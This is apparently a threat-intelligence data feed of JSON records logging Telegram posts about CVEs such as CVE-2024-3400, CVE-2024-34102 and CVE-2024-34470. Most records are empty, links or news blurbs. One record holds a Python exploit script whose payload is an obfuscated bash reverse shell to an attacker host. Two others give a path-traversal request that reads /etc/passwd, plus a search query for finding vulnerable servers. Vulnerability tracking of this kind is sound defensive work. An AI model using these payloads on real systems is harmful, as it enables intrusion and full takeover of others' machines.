"Telegram/v6Zgg5Vk-Mv01es0GiMgRw4R4Hgpyh7g8cnBXSeiBVoZfHw", "content": "", "creation_timestamp": "2025-03-13T11:51:13.000000Z"}, {"uuid": "8be86014-dce9-4e1a-8685-b821f14838b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/4OwSIIHM4Phzi6L1Q-57NlPfvr_pP-K8ZqCBqbr0RdiVmEc", "content": "", "creation_timestamp": "2025-04-29T17:00:10.000000Z"}, {"uuid": "069d1e1a-7d8e-4320-8771-4e694b2b7bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34370", "type": "seen", "source": "Telegram/fSuv2KpyfIksaa8qqgqv5fCpt00UzRfooou1l9gqHjc-A0g", "content": "", "creation_timestamp": "2025-03-11T22:00:06.000000Z"}, {"uuid": "7a18227e-a322-447e-86dd-4737ebf57869", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/dO5snbQdMxePgHszdaCozKw2ZDC2Utdn7t-s8A5uvHwWGBc", "content": "", "creation_timestamp": "2025-01-10T10:00:06.000000Z"}, {"uuid": "de7e4ad6-f170-4fa7-b63b-fbbfa3d17cf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34716", "type": "published-proof-of-concept", "source": "Telegram/Cbd9pH6CBBnHukvSRq1Tu3zR4Xg4YgS90Nvgmtyu7EmMHDA", "content": "", "creation_timestamp": "2025-02-19T22:00:06.000000Z"}, {"uuid": "c988c176-d015-4ace-bede-767eeba9c217", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/CipherAgents/1306877", "content": "CVE-2024-34470 HSC MailInspector\n\nPOC:\nGET   /mailinspector/public/loader.php?path=../../../../../../../etc/passwd\n\nFOFA:\ntitle==\"..:: HSC MailInspector ::..\"\n\n#\ud835\ude4f\ud835\ude40\ud835\ude3c\ud835\ude48_\ud835\ude41\ud835\ude4e\ud835\ude40\ud835\ude3e #\ud835\ude4f\ud835\ude40\ud835\ude3c\ud835\ude48_\ud835\ude44\ud835\ude49\ud835\ude3f", "creation_timestamp": "2024-07-05T07:47:22.000000Z"}, {"uuid": "ab23f634-3e1b-42a9-89d0-fbcd45e7b3a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34693", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8392", "content": "\u26a1CVE-2024-34693: Apache Superset Arbitrary File Read Vulnerability, PoC Published.\n\n#CyberBulletin", "creation_timestamp": "2024-07-29T13:36:03.000000Z"}, {"uuid": "66feef6f-872b-4981-b74f-b164fcc0d18f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/8444", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-01T03:55:12.000000Z"}, {"uuid": "712b2c87-7ac4-441d-928c-74c1a157f69c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3365", "content": "POC for CVE-2024-34102. A pre-authentication XML entity injection issue in Magento / Adobe Commerce.\n\nhttps://github.com/bigb0x/CVE-2024-34102\n\n#exploit #hacking #cyberdilara", "creation_timestamp": "2024-07-01T11:57:54.000000Z"}, {"uuid": "a620dca6-1e93-4af0-8d75-2fbf5976c59d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "Telegram/StVq-FaRln37olKOwDnJtX0_CQMnOseNBsrwLwlZuEF9bnw", "content": "", "creation_timestamp": "2024-04-16T11:41:23.000000Z"}, {"uuid": "8a788dba-ce8c-4542-a580-ddbfdb5145ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3581", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-01T03:33:21.000000Z"}, {"uuid": "2ff7b100-4985-4844-80da-807ae6ad5fe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2008", "content": "CVE-2024-3400  Palo Alto GlobalProtect VPN (0-Day)\n*\n\u0422\u0435\u0445 \u0434\u0435\u0442\u0430\u043b\u0438 - \u0442\u0443\u0442 \u0445\u043e\u0440\u043e\u0448\u043e \u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u043e\n*\n\u0421\u044d\u043c\u043f\u043b \u0431\u044d\u043a\u0434\u043e\u0440\u0430 - \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0442\u0443\u0442 (UPSTYLE Backdoor - update.py)\n*\n\u0410\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u043e\u0442 PaloAlto + \u0430\u0434\u0440\u0441\u0435\u0441\u0430 \u04212 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 - \u043c\u043e\u0436\u043d\u043e \u0433\u043b\u044f\u043d\u0443\u0442\u044c \u0442\u0443\u0442\n\n#paloalto #vpn #0day", "creation_timestamp": "2024-04-13T12:31:51.000000Z"}, {"uuid": "62275ac2-6589-444a-af98-f5ad4d2f8451", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/ICyberDefence/352", "content": "RCE, PAN-OS Palo Alto Networks, CVE-2024-3400\n\n\n**************POC**************\n\nimport  requests\n import  base64\n\n def  generate_payload (): \n    # Obfuscated Reverse Shell command for a stealth execution \n    reverse_shell_command  =  \"bash -c 'bash -i >& /dev/tcp/attacker_ip/attacker_port 0>&1'\" \n    encoded_command  =  base64 . b64encode ( reverse_shell_command . encode ()). decode () \n    payload  =  f \"$({{echo {encoded_command} | base64 -d | bash}})\" \n    return  payload\n\n def  send_exploit_request ( target_url ,  payload ): \n    headers  =  { \n        \"User-Agent\" :  \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\" , \n        \"Content-Type\" :  \"application/xml\" \n    } \n    \n    exploit_data  =  f \"{payload}\" \n    response  =  requests . post ( target_url ,  headers = headers ,  data = exploit_data ) \n    \n    return  response\n\n def  exploit_target ( target_url ): \n    payload  =  generate_payload () \n    response  =  send_exploit_request ( target_url ,  payload ) \n    \n    if  response . status_code  ==  200 : \n        print ( \"Exploit successful! Full-system takeover achieved with stealthy reverse shell.\" ) \n    else : \n        print ( \"Exploit failed. Target system may not be vulnerable or payload detected.\" ) \n\ndef  main (): \n    target_url  =  \"https://vulnerablewebsite.com/vulnerable_endpoint\" \n    exploit_target ( target_url ) \n\nif  name  ==  \"main\" : \n    main\n\n************************************************\n\n\n\n\ud83d\udcdb\u05d4\u05e2\u05e8\u05d4\ud83d\udcdb\n\u05d4\u05de\u05d9\u05d3\u05e2 \u05dc\u05de\u05d8\u05e8\u05d5\u05ea \u05dc\u05d9\u05de\u05d5\u05d3\u05d9\u05d5\u05ea \u05d1\u05dc\u05d1\u05d3!\n\n\u267b\ufe0f\u05e9\u05ea\u05e4\u05d5 \u05d0\u05ea \u05d4\u05e2\u05e8\u05d5\u05e5 \u05e9\u05dc\u05e0\u05d5 \u05d5\u05ea\u05de\u05db\u05d5 \u05d1\u05e0\u05d5\u267b\ufe0f\n \n\ud83c\udf10 \u05e2\u05e8\u05d5\u05e5 \u05d8\u05dc\u05d2\u05e8\u05dd: https://t.me/ICyberDefence\n\ud83d\udcac \u05e7\u05d1\u05d5\u05e6\u05d4: https://t.me/+jbSC-tz1I4ZmYTI8", "creation_timestamp": "2024-05-29T09:53:12.000000Z"}, {"uuid": "3f5348bc-64db-46f7-b81a-16665d46ab03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2164", "content": "CVE-2024-34102\n*\nAdobe Commerce\n\u0412\u0435\u0440\u0441\u0438\u0438: 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8\nXXE vuln \n*\nExploit", "creation_timestamp": "2024-07-13T23:33:45.000000Z"}, {"uuid": "7c873d24-14f4-4cd6-b05a-222abf4e74a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/proxy_bar/2125", "content": "CVE-2024-34470 HSC MailInspector\n*\nPOC:\nGET   /mailinspector/public/loader.php?path=../../../../../../../etc/passwd\n\nFOFA:\ntitle==\"..:: HSC MailInspector ::..\"", "creation_timestamp": "2024-06-19T09:56:32.000000Z"}, {"uuid": "5038622e-fdb2-4268-9695-82febccd5546", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "Telegram/z8u8NSYDxaKEmd4_jO8W3bUPsh-WvEp00pwiR4LDnEX3NLU", "content": "", "creation_timestamp": "2024-04-15T16:31:22.000000Z"}, {"uuid": "14cfdbbd-94f0-4e7b-a5f7-5fea99a285db", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/pNPj58cIhDRTk5cUNIxX5TOzgEilpjn4LUYIlRpc9Ppex-I", "content": "", "creation_timestamp": "2024-05-31T15:20:27.000000Z"}, {"uuid": "d2970a5a-7285-4bdc-8704-718bf887d536", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/breachdetector/496512", "content": "{\n  \"Source\": \"https://leakbase.cc/\",\n  \"Content\": \"Anybody Got Cve-2024-3400 ?\", \n  \"author\": \" (jogging7721)\",\n  \"Detection Date\": \"15 Apr 2024\",\n  \"Type\": \"Data leak\"\n}\n\ud83d\udd39 t.me/breachdetector \ud83d\udd39", "creation_timestamp": "2024-04-15T10:54:23.000000Z"}, {"uuid": "7a4ef464-d217-4d5a-bbe7-cf9ccf302461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "Telegram/QibJsYL0eBhpoxhmaVTLg5u9toELdHUjfLp1DtbVaDJ7_HE", "content": "", "creation_timestamp": "2024-07-05T07:14:04.000000Z"}, {"uuid": "017d558a-aa2d-42f9-abfa-1e11dbf8b694", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34693", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7084", "content": "\u26a1CVE-2024-34693: Apache Superset Arbitrary File Read Vulnerability, PoC Published.\n\n#CyberBulletin", "creation_timestamp": "2024-07-29T13:36:03.000000Z"}, {"uuid": "f669a3a7-71c9-422e-b361-0427d31bdf73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/WbJ58MQLgnykHYpWXucIpDebU7vRhdtJfWhLYTeDtyle31c", "content": "", "creation_timestamp": "2024-05-25T10:57:27.000000Z"}, {"uuid": "a5d4d7a9-80b0-4f1b-a3d0-c8f4a01d809a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "Telegram/UOHHBMxRluwBU61w_awXYJuAxguiwrdeeElujl86Pp0L-Ng", "content": "", "creation_timestamp": "2024-04-13T18:36:21.000000Z"}, {"uuid": "7fbe893a-d0d6-447d-8ba6-472ac2b6a92f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/ctinow/215383", "content": "https://ift.tt/69GHbxs\nPalo Alto Networks GlobalProtect exploit public and widely exploited CVE-2024-3400, (Tue, Apr 16th)", "creation_timestamp": "2024-04-16T23:16:48.000000Z"}, {"uuid": "e8ffa14b-cad1-4a33-89eb-4453cc8c8b5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/Securi3yTalent/173", "content": "CVE-2024-3400 Palo Alto GlobalProtect VPN (0-Day)\n\nFollow us__\nhttps://twitter.com/Securi3yTalent \nhttps://www.facebook.com/Securi3ytalent\nhttps://t.me/Securi3yTalent\n\nBackdoor sample - https://bazaar.abuse.ch/sample/3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac/\n\n#paloalto #vpn #0day #bugsbunny #bugbountytips #BugBountyHunter #bugbountytools #regex_Hunter #regexHunter #securityTalent #security_talent #cybersecurity #cybersecuritynews", "creation_timestamp": "2024-05-15T20:38:46.000000Z"}, {"uuid": "0027a2da-8aa6-4758-b04a-76e5aa50aba3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/GrayHatsHack/7132", "content": "Tools - Hackers Factory \n\nHellPot is an endless honeypot based on Heffalump that sends unruly HTTP bots to hell.\n\nhttps://github.com/yunginnanet/HellPot\n\nWork-in-progress date-time SQLite extension that will support timezones.\n\nhttps://github.com/asg017/sqlite-jiff\n\nSubdominator is a powerful tool for passive subdomain enumeration during bug hunting and reconnaissance processes. It is designed to help researchers and cybersecurity professionals discover potential security vulnerabilities by efficiently enumerating subdomains some various free passive resources.\n\nhttps://github.com/RevoltSecurities/Subdominator\n\nCVE-2024-4879 Exploit & PoC - Nuclei Template\n\nhttps://github.com/Brut-Security/CVE-2024-4879\n\nCVE-2024-34102: Unauthenticated Magento XXE.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-34102 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-34102\n\nCVE-2024-5009 : WhatsUp Gold SetAdminPassword Privilege Escalation.\n\nCVEHunter tool for vulnerability detection and exploitation tool for CVE-2024-5009 with Asychronous Performance.\n\nhttps://github.com/th3gokul/CVE-2024-5009\n\nSubprober - An essential HTTP multi-purpose Probing Tool for Penetration Testers and Security Researchers with Asynchronous httpx client support.\n\nhttps://github.com/RevoltSecurities/SubProber\n\n#CyberDilara \nhttps://t.me/CyberDilara", "creation_timestamp": "2024-08-01T03:55:12.000000Z"}, {"uuid": "b6703462-9a81-4517-a472-fe47c786a22f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/GrayHatsHack/6811", "content": "Top 5 Trending CVEs:\n\n    1 - CVE-2024-5806\n    2 - CVE-2024-34102\n    3 - CVE-2024-23958\n    4 - CVE-2024-37032\n    5 - CVE-2024-21338\n\n#cve #cvetrends #cveshield #cybersecurity", "creation_timestamp": "2024-06-27T05:11:41.000000Z"}, {"uuid": "50c85973-fac7-405e-9d85-f3f7e4b5f397", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34065", "type": "published-proof-of-concept", "source": "Telegram/mZP-9PUZDeEAKB5uXUiNKVRoCByHBZ1AuIyU9Vlxy8kidb0g", "content": "", "creation_timestamp": "2024-07-24T21:31:44.000000Z"}, {"uuid": "0dac0e53-fe07-4299-8ad0-64d8bfb93c02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34065", "type": "published-proof-of-concept", "source": "https://t.me/TheMalware_Team/159058", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-24T22:29:42.000000Z"}, {"uuid": "06d659b9-53f7-4adc-be20-1941a262da6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ctinow/215234", "content": "https://ift.tt/mfQTzOn\nQuick Palo Alto Networks Global Protect Vulnerablity Update (CVE-2024-3400), (Mon, Apr 15th)", "creation_timestamp": "2024-04-16T02:41:37.000000Z"}, {"uuid": "4ebc7eb4-2be8-49b3-986d-9208467ddb81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34351", "type": "seen", "source": "https://t.me/MrVGunz/1105", "content": "CVE-2024-34351:Next.js Server-Side Request Forgery in Server Actions\n\nA SSRF vulnerability was identified in Next.js Server Actions by security researchers at Assetnote. If the Host header is modified, and the below conditions are also met, an attacker may be able to make requests that appear to be originating from the Next.js application server itself.\n\n\ud83c\udfaf Poc\n\ud83d\udcda Refer\n\n\ud83d\udd39\ufe0f @hack_authenticator", "creation_timestamp": "2024-05-12T15:41:34.000000Z"}, {"uuid": "5d44befd-ec9f-4f82-bb4a-7205eb30bd47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/l3U1moiceKMmq79Bm1u4aTqg_byNW2d5ytf8O-b20INEVD0", "content": "", "creation_timestamp": "2024-07-13T20:27:14.000000Z"}, {"uuid": "9325d883-c05f-4274-ae48-7c154778a01c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/MrVGunz/1186", "content": "CVE-2024-34102\n\n\u062a\u0648\u0636\u06cc\u062d\u0627\u062a:\n\u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc 2.4.7\u060c 2.4.6-p5\u060c 2.4.5-p7\u060c 2.4.4-p8 \u0648 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0642\u0628\u0644\u06cc Adobe Commerce \u062a\u062d\u062a \u062a\u0623\u062b\u06cc\u0631 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0645\u0631\u0628\u0648\u0637 \u0628\u0647 \u0645\u062d\u062f\u0648\u062f\u06cc\u062a \u0646\u0627\u062f\u0631\u0633\u062a \u0627\u0631\u062c\u0627\u0639 \u0628\u0647 \u0646\u0647\u0627\u062f\u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc XML (XXE) \u0642\u0631\u0627\u0631 \u062f\u0627\u0631\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0645\u0646\u062c\u0631 \u0628\u0647 \u0627\u062c\u0631\u0627\u06cc \u06a9\u062f \u062f\u0644\u062e\u0648\u0627\u0647 \u0634\u0648\u062f. \u06cc\u06a9 \u0645\u0647\u0627\u062c\u0645 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0628\u0627 \u0627\u0631\u0633\u0627\u0644 \u06cc\u06a9 \u0633\u0646\u062f XML \u0633\u0627\u062e\u062a\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u0628\u0647 \u0646\u0647\u0627\u062f\u0647\u0627\u06cc \u062e\u0627\u0631\u062c\u06cc \u0627\u0631\u062c\u0627\u0639 \u0645\u06cc\u200c\u062f\u0647\u062f\u060c \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0633\u0648\u0621\u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u062f. \u0628\u0647\u0631\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u0627\u0632 \u0627\u06cc\u0646 \u0645\u0634\u06a9\u0644 \u0646\u06cc\u0627\u0632\u06cc \u0628\u0647 \u062a\u0639\u0627\u0645\u0644 \u06a9\u0627\u0631\u0628\u0631 \u0646\u062f\u0627\u0631\u062f.\n\n\u0627\u062b\u0628\u0627\u062a: https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md\n\nCVE-2024-34102\n\nDescription:\nAdobe Commerce versions 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 and earlier are affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in arbitrary code execution. An attacker could exploit this vulnerability by sending a crafted XML document that references external entities. Exploitation of this issue does not require user interaction. \n\nPoc: https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md", "creation_timestamp": "2024-06-26T07:31:23.000000Z"}, {"uuid": "cef2f222-fc00-45a2-812f-de0bd933efbc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "Telegram/KV7AWjEt6Axf1Kt1VPSjg6JsxfqmlgwLB0_e8ED9lGU96D8", "content": "", "creation_timestamp": "2024-04-12T09:52:38.000000Z"}, {"uuid": "cb749673-3bf4-4440-aee7-d0dad1529630", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://t.me/true_secator/6273", "content": "Sansec \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0438 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043c\u0443\u0434\u0430\u043a\u043e\u0432, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432 \u0432\u0437\u043b\u043e\u043c\u0430\u043b\u0438 5% \u0432\u0441\u0435\u0445 \u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432 Magento \u0438 Adobe Commerce \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0442\u0440\u0438 \u043c\u0435\u0441\u044f\u0446\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c CosmicSting.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430\u00a0\u043f\u043e\u0441\u0442\u043e\u044f\u043d\u043d\u044b\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f CVE-2024-34102, \u043f\u043e\u0447\u0442\u0438 4200 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442-\u043c\u0430\u0433\u0430\u0437\u0438\u043d\u043e\u0432, \u0432\u043a\u043b\u044e\u0447\u0430\u044f Cisco, Ray Ban, National Geographic, Whirlpool \u0438 Segway, \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0438\u0441\u044c \u0441 \u043f\u043b\u0430\u0442\u0435\u0436\u043d\u044b\u043c \u0441\u043a\u0438\u043c\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043a\u0430\u0437\u0430.\n\n\u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043a\u043e\u0433\u0434\u0430 Adobe \u043f\u0440\u0438\u0441\u0432\u043e\u0438\u043b\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0435\u0439\u0442\u0438\u043d\u0433, \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0430\u0442\u0430\u043a\u0438 \u0443\u0436\u0435 \u043d\u0430\u0447\u0430\u043b\u0438\u0441\u044c \u0438 